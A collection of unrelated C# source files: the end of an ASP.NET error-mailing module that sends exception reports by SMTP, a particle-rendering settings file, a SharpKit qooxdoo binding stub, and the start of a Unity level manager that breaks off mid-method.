/// Indicates whether <a href="http://en.wikipedia.org/wiki/Screens_of_death#ASP.NET">YSOD</a>
/// is attached to the e-mail or not. If <c>true</c>, the YSOD is
/// not attached.
/// </summary>
protected bool NoYsod
{
get { return _noYsod; }
}
#if !NET_1_0 && !NET_1_1
/// <summary>
/// Determines if SSL will be used to encrypt communication with the
/// mail server.
/// </summary>
protected bool UseSsl
{
get { return _useSsl; }
}
#endif
/// <summary>
/// The handler called when an unhandled exception bubbles up to
/// the module.
/// </summary>
protected virtual void OnError(object sender, EventArgs e)
{
HttpContext context = ((HttpApplication) sender).Context;
OnError(context.Server.GetLastError(), context, null);
}
/// <summary>
/// The handler called when an exception is explicitly signaled.
/// </summary>
protected virtual void OnErrorSignaled(object sender, ErrorSignalEventArgs args)
{
OnError(args.Exception, args.Context, args.ApplicationName);
}
/// <summary>
/// Reports the exception.
/// </summary>
protected virtual void OnError(Exception e, HttpContext context, string applciationName)
{
if (e == null)
throw new ArgumentNullException("e");
//
// Fire an event to check if listeners want to filter out
// reporting of the uncaught exception.
//
ExceptionFilterEventArgs args = new ExceptionFilterEventArgs(e, context);
OnFiltering(args);
if (args.Dismissed)
return;
//
// Get the last error and then report it synchronously or
// asynchronously based on the configuration.
//
Error error = new Error(e, context);
if (!string.IsNullOrEmpty(applciationName))
error.ApplicationName = applciationName;
if (_reportAsynchronously)
ReportErrorAsync(error);
else
ReportError(error);
}
/// <summary>
/// Raises the <see cref="Filtering"/> event.
/// </summary>
protected virtual void OnFiltering(ExceptionFilterEventArgs args)
{
ExceptionFilterEventHandler handler = Filtering;
if (handler != null)
handler(this, args);
}
/// <summary>
/// Schedules the error to be e-mailed asynchronously.
/// </summary>
/// <remarks>
/// The default implementation uses the <see cref="ThreadPool"/>
/// to queue the reporting.
/// </remarks>
protected virtual void ReportErrorAsync(Error error)
{
if (error == null)
throw new ArgumentNullException("error");
//
// Schedule the reporting at a later time using a worker from
// the system thread pool. This makes the implementation
// simpler, but it might have an impact on reducing the
// number of workers available for processing ASP.NET
// requests in the case where lots of errors being generated.
//
ThreadPool.QueueUserWorkItem(new WaitCallback(ReportError), error);
}
private void ReportError(object state)
{
try
{
ReportError((Error) state);
}
//
// Catch and trace COM/SmtpException here because this
// method will be called on a thread pool thread and
// can either fail silently in 1.x or with a big band in
// 2.0. For latter, see the following MS KB article for
// details:
//
// Unhandled exceptions cause ASP.NET-based applications
// to unexpectedly quit in the .NET Framework 2.0
// http://support.microsoft.com/kb/911816
//
#if NET_1_0 || NET_1_1
catch (System.Runtime.InteropServices.COMException e)
{
Trace.WriteLine(e);
}
#else
catch (SmtpException e)
{
Trace.TraceError(e.ToString());
}
#endif
}
/// <summary>
/// Schedules the error to be e-mailed synchronously.
/// </summary>
protected virtual void ReportError(Error error)
{
if (error == null)
throw new ArgumentNullException("error");
//
// Start by checking if we have a sender and a recipient.
// These values may be null if someone overrides the
// implementation of OnInit but does not override the
// MailSender and MailRecipient properties.
//
string sender = Mask.NullString(this.MailSender);
string recipient = Mask.NullString(this.MailRecipient);
string copyRecipient = Mask.NullString(this.MailCopyRecipient);
#if NET_1_0 || NET_1_1
//
// The sender can be defaulted in the <system.net> settings in 2.0
//
if (sender.Length == 0)
return;
#endif
if (recipient.Length == 0)
return;
//
// Create the mail, setting up the sender and recipient and priority.
//
MailMessage mail = new MailMessage();
mail.Priority = this.MailPriority;
#if NET_1_0 || NET_1_1
mail.From = sender;
mail.To = recipient;
if (copyRecipient.Length > 0)
mail.Cc = copyRecipient;
#else
mail.From = new MailAddress(sender);
mail.To.Add(recipient);
if (copyRecipient.Length > 0)
mail.CC.Add(copyRecipient);
#endif
//
// Format the mail subject.
//
string subjectFormat = Mask.EmptyString(this.MailSubjectFormat, "Error ({1}): {0} in {2}");
mail.Subject = string.Format(subjectFormat, error.Message, error.Type, error.ApplicationName).
Replace('\r', ' ').Replace('\n', ' ');
//
// Format the mail body.
//
ErrorTextFormatter formatter = CreateErrorFormatter();
StringWriter bodyWriter = new StringWriter();
formatter.Format(bodyWriter, error);
mail.Body = bodyWriter.ToString();
switch (formatter.MimeType)
{
#if NET_1_0 || NET_1_1
case "text/html" : mail.BodyFormat = MailFormat.Html; break;
case "text/plain" : mail.BodyFormat = MailFormat.Text; break;
#else
case "text/html": mail.IsBodyHtml = true; break;
case "text/plain": mail.IsBodyHtml = false; break;
#endif
default :
{
throw new ApplicationException(string.Format(
"The error mail module does not know how to handle the {1} media type that is created by the {0} formatter.",
formatter.GetType().FullName, formatter.MimeType));
}
}
#if NET_1_1
//
// If the mail needs to be delivered to a particular SMTP server
// then set-up the corresponding CDO configuration fields of the
// mail message.
//
string smtpServer = Mask.NullString(this.SmtpServer);
if (smtpServer.Length > 0)
{
IDictionary fields = mail.Fields;
fields.Add(CdoConfigurationFields.SendUsing, /* cdoSendUsingPort */ 2);
fields.Add(CdoConfigurationFields.SmtpServer, smtpServer);
int smtpPort = this.SmtpPort;
fields.Add(CdoConfigurationFields.SmtpServerPort, smtpPort <= 0 ? 25 : smtpPort);
//
// If the SMTP server requires authentication (indicated by
// non-blank user name and password settings) then set-up
// the corresponding CDO configuration fields of the mail
// message.
//
string userName = Mask.NullString(this.AuthUserName);
string password = Mask.NullString(this.AuthPassword);
if (userName.Length > 0 && password.Length > 0)
{
fields.Add(CdoConfigurationFields.SmtpAuthenticate, 1);
fields.Add(CdoConfigurationFields.SendUserName, userName);
fields.Add(CdoConfigurationFields.SendPassword, password);
}
}
#endif
MailAttachment ysodAttachment = null;
ErrorMailEventArgs args = new ErrorMailEventArgs(error, mail);
try
{
//
// If an HTML message was supplied by the web host then attach
// it to the mail if not explicitly told not to do so.
//
if (!NoYsod && error.WebHostHtmlMessage.Length > 0)
{
ysodAttachment = CreateHtmlAttachment("YSOD", error.WebHostHtmlMessage);
if (ysodAttachment != null)
mail.Attachments.Add(ysodAttachment);
}
//
// Send off the mail with some chance to pre- or post-process
// using event.
//
OnMailing(args);
SendMail(mail);
OnMailed(args);
}
finally
{
#if NET_1_0 || NET_1_1
//
// Delete any attached files, if necessary.
//
if (ysodAttachment != null)
{
File.Delete(ysodAttachment.Filename);
mail.Attachments.Remove(ysodAttachment);
}
#endif
OnDisposingMail(args);
#if !NET_1_0 && !NET_1_1
mail.Dispose();
#endif
}
}
private static MailAttachment CreateHtmlAttachment(string name, string html)
{
Debug.AssertStringNotEmpty(name);
Debug.AssertStringNotEmpty(html);
#if NET_1_0 || NET_1_1
//
// Create a temporary file to hold the attachment. Note that
// the temporary file is created in the location returned by
// System.Web.HttpRuntime.CodegenDir. It is assumed that
// this code will have sufficient rights to create the
// temporary file in that area.
//
string fileName = name + "-" + Guid.NewGuid().ToString() + ".html";
string path = Path.Combine(HttpRuntime.CodegenDir, fileName);
try
{
using (StreamWriter attachementWriter = File.CreateText(path))
attachementWriter.Write(html);
return new MailAttachment(path);
}
catch (IOException)
{
//
// Ignore I/O errors as non-critical. It's not the
// end of the world if the attachment could not be
// created (though it would be nice). It is more
// important to get to deliver the error message!
//
return null;
}
#else
return MailAttachment.CreateAttachmentFromString(html,
name + ".html", Encoding.UTF8, "text/html");
#endif
}
/// <summary>
/// Creates the <see cref="ErrorTextFormatter"/> implementation to
/// be used to format the body of the e-mail.
/// </summary>
protected virtual ErrorTextFormatter CreateErrorFormatter()
{
return new ErrorMailHtmlFormatter();
}
/// <summary>
/// Sends the e-mail using SmtpMail or SmtpClient.
/// </summary>
protected virtual void SendMail(MailMessage mail)
{
if (mail == null)
throw new ArgumentNullException("mail");
#if NET_1_0 || NET_1_1
SmtpMail.Send(mail);
#else
//
// Under .NET Framework 2.0, the authentication settings
// go on the SmtpClient object rather than mail message
// so these have to be set up here.
//
SmtpClient client = new SmtpClient();
string host = SmtpServer ?? string.Empty;
if (host.Length > 0)
{
client.Host = host;
client.DeliveryMethod = SmtpDeliveryMethod.Network;
}
int port = SmtpPort;
if (port > 0)
client.Port = port;
string userName = AuthUserName ?? string.Empty;
string password = AuthPassword ?? string.Empty;
if (userName.Length > 0 && password.Length > 0)
client.Credentials = new NetworkCredential(userName, password);
client.EnableSsl = UseSsl;
client.Send(mail);
#endif
}
/// <summary>
/// Fires the <see cref="Mailing"/> event.
/// </summary>
protected virtual void OnMailing(ErrorMailEventArgs args)
{
if (args == null)
throw new ArgumentNullException("args");
ErrorMailEventHandler handler = Mailing;
if (handler != null)
handler(this, args);
}
/// <summary>
/// Fires the <see cref="Mailed"/> event.
/// </summary>
protected virtual void OnMailed(ErrorMailEventArgs args)
{
if (args == null)
throw new ArgumentNullException("args");
ErrorMailEventHandler handler = Mailed;
if (handler != null)
handler(this, args);
}
/// <summary>
/// Fires the <see cref="DisposingMail"/> event.
/// </summary>
protected virtual void OnDisposingMail(ErrorMailEventArgs args)
{
if (args == null)
throw new ArgumentNullException("args");
ErrorMailEventHandler handler = DisposingMail;
if (handler != null)
handler(this, args);
}
/// <summary>
/// Gets the configuration object used by <see cref="OnInit"/> to read
/// the settings for module.
/// </summary>
protected virtual object GetConfig()
{
return Configuration.GetSubsection("errorMail");
}
/// <summary>
/// Builds an <see cref="Error"/> object from the last context
/// exception generated.
/// </summary>
[ Obsolete ]
protected virtual Error GetLastError(HttpContext context)
{
throw new NotSupportedException();
}
private static string GetSetting(IDictionary config, string name)
{
return GetSetting(config, name, null);
}
private static string GetSetting(IDictionary config, string name, string defaultValue)
{
Debug.Assert(config != null);
Debug.AssertStringNotEmpty(name);
string value = Mask.NullString((string) config[name]);
if (value.Length == 0)
{
if (defaultValue == null)
{
throw new ApplicationException(string.Format(
"The required configuration setting '{0}' is missing for the error mailing module.", name));
}
value = defaultValue;
}
return value;
}
}
}
| |
enum SunDirectionTypes
{
[EnumLabel("Unit Vector")]
UnitVector,
[EnumLabel("Horizontal Coordinate System")]
HorizontalCoordSystem,
}
enum LightUnits
{
Luminance = 0,
Illuminance = 1,
LuminousPower = 2,
EV100 = 3
}
enum Scenes
{
Box = 0,
}
enum MSAAModes
{
[EnumLabel("None")]
MSAANone = 0,
[EnumLabel("2x")]
MSAA2x,
}
enum LowResRenderModes
{
[EnumLabel("MSAA")]
MSAA,
[EnumLabel("Nearest-Depth")]
NearestDepth,
}
public class Settings
{
// Scale factor for bringing lighting values down into a range suitable for fp16 storage.
// Equal to 2^-10.
const float ExposureRangeScale = 0.0009765625f;
const float BaseSunSize = 0.27f;
[ExpandGroup(false)]
public class SunLight
{
[HelpText("Enables the sun light")]
bool EnableSun = true;
[HelpText("Controls whether the sun is treated as a disc area light in the real-time shader")]
bool SunAreaLightApproximation = true;
[HelpText("The color of the sun")]
Color SunTintColor = new Color(1.0f, 1.0f, 1.0f, 1.0f);
[HelpText("Scale the intensity of the sun")]
[MinValue(0.0f)]
float SunIntensityScale = 1.0f;
[HelpText("Angular radius of the sun in degrees")]
[MinValue(0.01f)]
[StepSize(0.001f)]
float SunSize = BaseSunSize;
[UseAsShaderConstant(false)]
bool NormalizeSunIntensity = false;
[HelpText("Input direction type for the sun")]
SunDirectionTypes SunDirType;
[HelpText("Director of the sun")]
Direction SunDirection = new Direction(-0.75f, 0.977f, -0.4f);
[HelpText("Angle around the horizon")]
[MinValue(0.0f)]
[MaxValue(360.0f)]
float SunAzimuth;
[HelpText("Elevation of sun from ground. 0 degrees is aligned on the horizon while 90 degrees is directly overhead")]
[MinValue(0.0f)]
[MaxValue(90.0f)]
float SunElevation;
}
[ExpandGroup(false)]
public class Sky
{
[MinValue(1.0f)]
[MaxValue(10.0f)]
[UseAsShaderConstant(false)]
[HelpText("Atmospheric turbidity (thickness) uses for procedural sun and sky model")]
float Turbidity = 2.0f;
[HDR(false)]
[UseAsShaderConstant(false)]
[HelpText("Ground albedo color used for procedural sun and sky model")]
Color GroundAlbedo = new Color(0.5f, 0.5f, 0.5f);
}
[ExpandGroup(false)]
public class AntiAliasing
{
[HelpText("MSAA mode to use for full-resolution rendering")]
MSAAModes MSAAMode = MSAAModes.MSAANone;
[MinValue(0.0f)]
[MaxValue(6.0f)]
[StepSize(0.01f)]
[HelpText("Filter radius for MSAA resolve")]
float FilterSize = 2.0f;
}
[ExpandGroup(false)]
public class Scene
{
[DisplayName("Enable Albedo Maps")]
[HelpText("Enables albedo maps")]
bool EnableAlbedoMaps = true;
[DisplayName("Enable Normal Maps")]
[HelpText("Enables normal maps")]
bool EnableNormalMaps = true;
[DisplayName("Normal Map Intensity")]
[MinValue(0.0f)]
[MaxValue(1.0f)]
[StepSize(0.01f)]
[HelpText("Intensity of the normal map")]
float NormalMapIntensity = 0.5f;
[DisplayName("Diffuse Intensity")]
[MinValue(0.0f)]
[MaxValue(1.0f)]
[StepSize(0.001f)]
[HelpText("Diffuse albedo intensity parameter for the material")]
float DiffuseIntensity = 0.75f;
[DisplayName("Specular Roughness")]
[MinValue(0.001f)]
[MaxValue(1.0f)]
[StepSize(0.001f)]
[HelpText("Specular roughness parameter for the material")]
float Roughness = 0.25f;
[DisplayName("Specular Intensity")]
[MinValue(0.0f)]
[MaxValue(1.0f)]
[StepSize(0.001f)]
[HelpText("Specular intensity parameter for the material")]
float SpecularIntensity = 0.04f;
}
const int MaxParticles = 1024 * 32;
[ExpandGroup(true)]
public class Particles
{
[MinValue(0)]
[MaxValue(MaxParticles / 1024)]
[HelpText("The number of particles to render, in increments of 1024")]
[DisplayName("Num Particles (x1024)")]
int NumParticles = 8;
[MinValue(0.01f)]
[StepSize(0.01f)]
[HelpText("The radius in which to emit particles")]
float EmitRadius = 2.0f;
[StepSize(0.01f)]
[HelpText("The X coordinate of the point from which to emit particles")]
float EmitCenterX = 0.0f;
[StepSize(0.01f)]
[HelpText("The Y coordinate of the point from which to emit particles")]
float EmitCenterY = 2.5f;
[StepSize(0.01f)]
[HelpText("The Z coordinate of the point from which to emit particles")]
float EmitCenterZ = 0.0f;
[MinValue(0.0f)]
[UseAsShaderConstant(false)]
[HelpText("Controls how fast to rotate the particles around the emitter center")]
float RotationSpeed = 0.5f;
[MinValue(0.0f)]
[HelpText("Scaled the absorption coefficient used for particle self-shadowing")]
float AbsorptionScale = 1.0f;
[UseAsShaderConstant(false)]
[HelpText("Enables sorting each particle by their depth")]
bool SortParticles = true;
[HelpText("Enables or disables sampling an albedo map in the particle pixel shader")]
bool EnableParticleAlbedoMap = true;
[HelpText("Enables or disabled billboarding of particles towards the camera")]
bool BillboardParticles = true;
[HelpText("Renders the particles at half resolution")]
[DisplayName("Render Low-Res")]
bool RenderLowRes = true;
[HelpText("Specifies the technique to use for upscaling particles from half resolution")]
[DisplayName("Low-Res Render Mode")]
LowResRenderModes LowResRenderMode = LowResRenderModes.MSAA;
[MinValue(0.0f)]
[MaxValue(1.0f)]
[StepSize(0.001f)]
[HelpText("Threshold used during low-resolution resolve for determining pixels containing sub-pixel edges")]
[DisplayName("Resolve Sub-Pixel Threshold")]
float ResolveSubPixelThreshold = 0.025f;
[MinValue(0.0f)]
[MaxValue(1.0f)]
[StepSize(0.001f)]
[HelpText("Threshold used during low-resolution composite for determining pixels containing sub-pixel edges")]
[DisplayName("Composite Sub-Pixel Threshold")]
float CompositeSubPixelThreshold = 0.1f;
[Visible(false)]
[UseAsShaderConstant(false)]
[HelpText("Use programmable sample positions when rendering low-resolution particles with 'MSAA' mode")]
bool ProgrammableSamplePoints = true;
[MinValue(0.0f)]
[MaxValue(100.0f)]
[StepSize(0.01f)]
[DisplayName("Nearest-Depth Threshold")]
[HelpText("Depth threshold to use for nearest-depth upsampling")]
float NearestDepthThreshold = 0.25f;
}
[ExpandGroup(false)]
public class PostProcessing
{
[DisplayName("Bloom Exposure Offset")]
[MinValue(-10.0f)]
[MaxValue(0.0f)]
[StepSize(0.01f)]
[HelpText("Exposure offset applied to generate the input of the bloom pass")]
float BloomExposure = -4.0f;
[DisplayName("Bloom Magnitude")]
[MinValue(0.0f)]
[MaxValue(2.0f)]
[StepSize(0.01f)]
[HelpText("Scale factor applied to the bloom results when combined with tone-mapped result")]
float BloomMagnitude = 1.0f;
[DisplayName("Bloom Blur Sigma")]
[MinValue(0.5f)]
[MaxValue(2.5f)]
[StepSize(0.01f)]
[HelpText("Sigma parameter of the Gaussian filter used in the bloom pass")]
float BloomBlurSigma = 2.5f;
}
[ExpandGroup(true)]
public class Debug
{
[UseAsShaderConstant(false)]
[DisplayName("Enable VSync")]
[HelpText("Enables or disables vertical sync during Present")]
bool EnableVSync = true;
[HelpText("Captures the screen output (before HUD rendering), and saves it to a file")]
Button TakeScreenshot;
[HelpText("When using MSAA low-res render mode, shows pixels that use subpixel data")]
bool ShowMSAAEdges = false;
}
}
| |
// Generated by SharpKit.QooxDoo.Generator
using System;
using System.Collections.Generic;
using SharpKit.Html;
using SharpKit.JavaScript;
namespace qx.ui.list.core
{
/// <summary>
/// <para>The mixin controls the binding between model and item.</para>
/// </summary>
[JsType(JsMode.Prototype, Name = "qx.ui.list.core.MWidgetController", OmitOptionalParameters = true, Export = false)]
public partial class MWidgetController
{
#region Events
/// <summary>
/// Fired on change of the property <see cref="Delegate"/>.
/// </summary>
public event Action<qx.eventx.type.Data> OnChangeDelegate;
#endregion Events
#region Properties
/// <summary>
/// <para>Delegation object, which can have one or more functions defined by the
/// <see cref="qx.ui.list.core.IListDelegate"/> interface.</para>
/// </summary>
/// <remarks>
/// Allow nulls: true
/// </remarks>
[JsProperty(Name = "delegate", NativeField = true)]
public object Delegate { get; set; }
/// <summary>
/// <para>A map containing the options for the group label binding. The possible keys
/// can be found in the <see cref="qx.data.SingleValueBinding"/> documentation.</para>
/// </summary>
/// <remarks>
/// Allow nulls: true
/// </remarks>
[JsProperty(Name = "groupLabelOptions", NativeField = true)]
public object GroupLabelOptions { get; set; }
/// <summary>
/// <para>The path to the property which holds the information that should be
/// displayed as a group label. This is only needed if objects are stored in the
/// model.</para>
/// </summary>
/// <remarks>
/// Allow nulls: true
/// </remarks>
[JsProperty(Name = "groupLabelPath", NativeField = true)]
public string GroupLabelPath { get; set; }
/// <summary>
/// <para>A map containing the options for the icon binding. The possible keys
/// can be found in the <see cref="qx.data.SingleValueBinding"/> documentation.</para>
/// </summary>
/// <remarks>
/// Allow nulls: true
/// </remarks>
[JsProperty(Name = "iconOptions", NativeField = true)]
public object IconOptions { get; set; }
/// <summary>
/// <para>The path to the property which holds the information that should be
/// shown as an icon. This is only needed if objects are stored in the model
/// and if the icon should be shown.</para>
/// </summary>
/// <remarks>
/// Allow nulls: true
/// </remarks>
[JsProperty(Name = "iconPath", NativeField = true)]
public string IconPath { get; set; }
/// <summary>
/// <para>A map containing the options for the label binding. The possible keys
/// can be found in the <see cref="qx.data.SingleValueBinding"/> documentation.</para>
/// </summary>
/// <remarks>
/// Allow nulls: true
/// </remarks>
[JsProperty(Name = "labelOptions", NativeField = true)]
public object LabelOptions { get; set; }
/// <summary>
/// <para>The path to the property which holds the information that should be
/// shown as a label. This is only needed if objects are stored in the model.</para>
/// </summary>
/// <remarks>
/// Allow nulls: true
/// </remarks>
[JsProperty(Name = "labelPath", NativeField = true)]
public string LabelPath { get; set; }
#endregion Properties
#region Methods
public MWidgetController() { throw new NotImplementedException(); }
/// <summary>
/// <para>Helper-Method for binding the default properties from
/// the model to the target widget. The used default properties
/// depends on the passed item. When the passed item is
/// a list item the “label” and “icon” property is used.
/// When the passed item is a group item the “value” property is
/// used.</para>
/// <para>This method should only be called in the
/// <see cref="IListDelegate.BindItem"/> function
/// implemented by the <see cref="Delegate"/> property.</para>
/// </summary>
/// <param name="item">The internally created and used list or group item.</param>
/// <param name="index">The index of the item.</param>
[JsMethod(Name = "bindDefaultProperties")]
public void BindDefaultProperties(qx.ui.core.Widget item, double index) { throw new NotImplementedException(); }
/// <summary>
/// <para>Helper-Method for binding a given property from the model to the target
/// widget.
/// This method should only be called in the
/// <see cref="IListDelegate.BindItem"/> function implemented by the
/// <see cref="Delegate"/> property.</para>
/// </summary>
/// <param name="sourcePath">The path to the property in the model. If you use an empty string, the whole model item will be bound.</param>
/// <param name="targetProperty">The name of the property in the target widget.</param>
/// <param name="options">The options to use for the binding.</param>
/// <param name="targetWidget">The target widget.</param>
/// <param name="index">The index of the current binding.</param>
[JsMethod(Name = "bindProperty")]
public void BindProperty(string sourcePath, string targetProperty, object options, qx.ui.core.Widget targetWidget, double index) { throw new NotImplementedException(); }
/// <summary>
/// <para>Helper-Method for binding a given property from the target widget to
/// the model.
/// This method should only be called in the
/// <see cref="IListDelegate.BindItem"/> function implemented by the
/// <see cref="Delegate"/> property.</para>
/// </summary>
/// <param name="targetPath">The path to the property in the model.</param>
/// <param name="sourceProperty">The name of the property in the target.</param>
/// <param name="options">The options to use for the binding.</param>
/// <param name="sourceWidget">The source widget.</param>
/// <param name="index">The index of the current binding.</param>
[JsMethod(Name = "bindPropertyReverse")]
public void BindPropertyReverse(string targetPath, string sourceProperty, object options, qx.ui.core.Widget sourceWidget, double index) { throw new NotImplementedException(); }
/// <summary>
/// <para>Returns the (computed) value of the property delegate.</para>
/// </summary>
[JsMethod(Name = "getDelegate")]
public object GetDelegate() { throw new NotImplementedException(); }
/// <summary>
/// <para>Returns the (computed) value of the property groupLabelOptions.</para>
/// </summary>
[JsMethod(Name = "getGroupLabelOptions")]
public object GetGroupLabelOptions() { throw new NotImplementedException(); }
/// <summary>
/// <para>Returns the (computed) value of the property groupLabelPath.</para>
/// </summary>
[JsMethod(Name = "getGroupLabelPath")]
public string GetGroupLabelPath() { throw new NotImplementedException(); }
/// <summary>
/// <para>Returns the (computed) value of the property iconOptions.</para>
/// </summary>
[JsMethod(Name = "getIconOptions")]
public object GetIconOptions() { throw new NotImplementedException(); }
/// <summary>
/// <para>Returns the (computed) value of the property iconPath.</para>
/// </summary>
[JsMethod(Name = "getIconPath")]
public string GetIconPath() { throw new NotImplementedException(); }
/// <summary>
/// <para>Returns the (computed) value of the property labelOptions.</para>
/// </summary>
[JsMethod(Name = "getLabelOptions")]
public object GetLabelOptions() { throw new NotImplementedException(); }
/// <summary>
/// <para>Returns the (computed) value of the property labelPath.</para>
/// </summary>
[JsMethod(Name = "getLabelPath")]
public string GetLabelPath() { throw new NotImplementedException(); }
/// <summary>
/// <para>Calls the apply method and dispatches the change event of the property delegate
/// with the default value defined by the class developer. This function can
/// only be called from the constructor of a class.</para>
/// </summary>
/// <param name="value">Initial value for property delegate.</param>
[JsMethod(Name = "initDelegate")]
public void InitDelegate(object value) { throw new NotImplementedException(); }
/// <summary>
/// <para>Calls the apply method and dispatches the change event of the property groupLabelOptions
/// with the default value defined by the class developer. This function can
/// only be called from the constructor of a class.</para>
/// </summary>
/// <param name="value">Initial value for property groupLabelOptions.</param>
[JsMethod(Name = "initGroupLabelOptions")]
public void InitGroupLabelOptions(object value) { throw new NotImplementedException(); }
/// <summary>
/// <para>Calls the apply method and dispatches the change event of the property groupLabelPath
/// with the default value defined by the class developer. This function can
/// only be called from the constructor of a class.</para>
/// </summary>
/// <param name="value">Initial value for property groupLabelPath.</param>
[JsMethod(Name = "initGroupLabelPath")]
public void InitGroupLabelPath(object value) { throw new NotImplementedException(); }
/// <summary>
/// <para>Calls the apply method and dispatches the change event of the property iconOptions
/// with the default value defined by the class developer. This function can
/// only be called from the constructor of a class.</para>
/// </summary>
/// <param name="value">Initial value for property iconOptions.</param>
[JsMethod(Name = "initIconOptions")]
public void InitIconOptions(object value) { throw new NotImplementedException(); }
/// <summary>
/// <para>Calls the apply method and dispatches the change event of the property iconPath
/// with the default value defined by the class developer. This function can
/// only be called from the constructor of a class.</para>
/// </summary>
/// <param name="value">Initial value for property iconPath.</param>
[JsMethod(Name = "initIconPath")]
public void InitIconPath(object value) { throw new NotImplementedException(); }
/// <summary>
/// <para>Calls the apply method and dispatches the change event of the property labelOptions
/// with the default value defined by the class developer. This function can
/// only be called from the constructor of a class.</para>
/// </summary>
/// <param name="value">Initial value for property labelOptions.</param>
[JsMethod(Name = "initLabelOptions")]
public void InitLabelOptions(object value) { throw new NotImplementedException(); }
/// <summary>
/// <para>Calls the apply method and dispatches the change event of the property labelPath
/// with the default value defined by the class developer. This function can
/// only be called from the constructor of a class.</para>
/// </summary>
/// <param name="value">Initial value for property labelPath.</param>
[JsMethod(Name = "initLabelPath")]
public void InitLabelPath(object value) { throw new NotImplementedException(); }
/// <summary>
/// <para>Remove all bindings from all bounded items.</para>
/// </summary>
[JsMethod(Name = "removeBindings")]
public void RemoveBindings() { throw new NotImplementedException(); }
/// <summary>
/// <para>Resets the user value of the property delegate.</para>
/// <para>The computed value falls back to the next available value e.g. appearance, init or
/// inheritance value depeneding on the property configuration and value availability.</para>
/// </summary>
[JsMethod(Name = "resetDelegate")]
public void ResetDelegate() { throw new NotImplementedException(); }
/// <summary>
/// <para>Resets the user value of the property groupLabelOptions.</para>
/// <para>The computed value falls back to the next available value e.g. appearance, init or
/// inheritance value depeneding on the property configuration and value availability.</para>
/// </summary>
[JsMethod(Name = "resetGroupLabelOptions")]
public void ResetGroupLabelOptions() { throw new NotImplementedException(); }
/// <summary>
/// <para>Resets the user value of the property groupLabelPath.</para>
/// <para>The computed value falls back to the next available value e.g. appearance, init or
/// inheritance value depeneding on the property configuration and value availability.</para>
/// </summary>
[JsMethod(Name = "resetGroupLabelPath")]
public void ResetGroupLabelPath() { throw new NotImplementedException(); }
/// <summary>
/// <para>Resets the user value of the property iconOptions.</para>
/// <para>The computed value falls back to the next available value e.g. appearance, init or
/// inheritance value depeneding on the property configuration and value availability.</para>
/// </summary>
[JsMethod(Name = "resetIconOptions")]
public void ResetIconOptions() { throw new NotImplementedException(); }
/// <summary>
/// <para>Resets the user value of the property iconPath.</para>
/// <para>The computed value falls back to the next available value e.g. appearance, init or
/// inheritance value depeneding on the property configuration and value availability.</para>
/// </summary>
[JsMethod(Name = "resetIconPath")]
public void ResetIconPath() { throw new NotImplementedException(); }
/// <summary>
/// <para>Resets the user value of the property labelOptions.</para>
/// <para>The computed value falls back to the next available value e.g. appearance, init or
/// inheritance value depeneding on the property configuration and value availability.</para>
/// </summary>
[JsMethod(Name = "resetLabelOptions")]
public void ResetLabelOptions() { throw new NotImplementedException(); }
/// <summary>
/// <para>Resets the user value of the property labelPath.</para>
/// <para>The computed value falls back to the next available value e.g. appearance, init or
/// inheritance value depeneding on the property configuration and value availability.</para>
/// </summary>
[JsMethod(Name = "resetLabelPath")]
public void ResetLabelPath() { throw new NotImplementedException(); }
/// <summary>
/// <para>Sets the user value of the property delegate.</para>
/// </summary>
/// <param name="value">New value for property delegate.</param>
[JsMethod(Name = "setDelegate")]
public void SetDelegate(object value) { throw new NotImplementedException(); }
/// <summary>
/// <para>Sets the user value of the property groupLabelOptions.</para>
/// </summary>
/// <param name="value">New value for property groupLabelOptions.</param>
[JsMethod(Name = "setGroupLabelOptions")]
public void SetGroupLabelOptions(object value) { throw new NotImplementedException(); }
/// <summary>
/// <para>Sets the user value of the property groupLabelPath.</para>
/// </summary>
/// <param name="value">New value for property groupLabelPath.</param>
[JsMethod(Name = "setGroupLabelPath")]
public void SetGroupLabelPath(string value) { throw new NotImplementedException(); }
/// <summary>
/// <para>Sets the user value of the property iconOptions.</para>
/// </summary>
/// <param name="value">New value for property iconOptions.</param>
[JsMethod(Name = "setIconOptions")]
public void SetIconOptions(object value) { throw new NotImplementedException(); }
/// <summary>
/// <para>Sets the user value of the property iconPath.</para>
/// </summary>
/// <param name="value">New value for property iconPath.</param>
[JsMethod(Name = "setIconPath")]
public void SetIconPath(string value) { throw new NotImplementedException(); }
/// <summary>
/// <para>Sets the user value of the property labelOptions.</para>
/// </summary>
/// <param name="value">New value for property labelOptions.</param>
[JsMethod(Name = "setLabelOptions")]
public void SetLabelOptions(object value) { throw new NotImplementedException(); }
/// <summary>
/// <para>Sets the user value of the property labelPath.</para>
/// </summary>
/// <param name="value">New value for property labelPath.</param>
[JsMethod(Name = "setLabelPath")]
public void SetLabelPath(string value) { throw new NotImplementedException(); }
#endregion Methods
}
}
| |
using System.Collections.Generic;
using System.IO;
using TiledMax;
using UnityEngine;
using System.Linq;
using Grouping;
public class LevelManager
{
/// <summary>
/// Level number is 0-based in this property. When showing in GUI, level number should be this property + 1
/// </summary>
public int Level { get; set; }
public int LevelCount
{
get { return levels.Count; }
}
public int Width { get; private set; }
public int Height { get; private set; }
public float AspectRatio { get { return (float)Width / Height; } }
public Vector3 CameraPosition { get { return new Vector3((Width - 1) / 2.0f, (Height - 1) / 2.0f, -10); } }
public float OrthographicSize { get { return (Camera.main.aspect > AspectRatio ? Height : Width / Camera.main.aspect) / 2.0f + 0.5f; } }
private readonly LevelLoader loader;
private readonly List<string> levels;
public readonly int[] scores;
private int totalStars;
private readonly Dictionary<int, TmxMap> tileMaps;
private readonly Dictionary<int, DialogueMap> dialogues;
private ulong totalScore;
private static LevelManager _instance;
private LevelManager()
{
//_instance = this;
Level = PlayerPrefs.GetInt("Level", 0) - 1;
loader = new LevelLoader();
tileMaps = new Dictionary<int, TmxMap>();
dialogues = new Dictionary<int, DialogueMap>();
settings = new LevelSettings();
var asset = Resources.Load<TextAsset>("Levels");
levels = new List<string>();
using (var reader = new StringReader(asset.text)) {
//var d = new Deserializer();
//levels = d.Deserialize<string[]>(reader);
string line;
while ((line=reader.ReadLine()) != null) {
if (!StringExt.IsNullOrWhitespace(line)) {
levels.Add(line.Trim());
}
}
}
scores = new int[levels.Count];
//Debug.Log("Loaded levels: " + levels.Count);
for (int i = 0; i < scores.Length; ++i) {
scores[i] = GetScore(i);
//Debug.Log(scores[i]);
}
//totalStars = 0;
//for (int i = 0; i < scores.Length; ++i) {
// totalStars += scores[i];
//}
RecalculateTotal();
}
public static ulong TotalScore { get { return instance.totalScore; } }
public static int TotalStars { get { return instance.totalStars; } }
public void RecalculateTotal() {
totalStars = 0;
totalScore = 0;
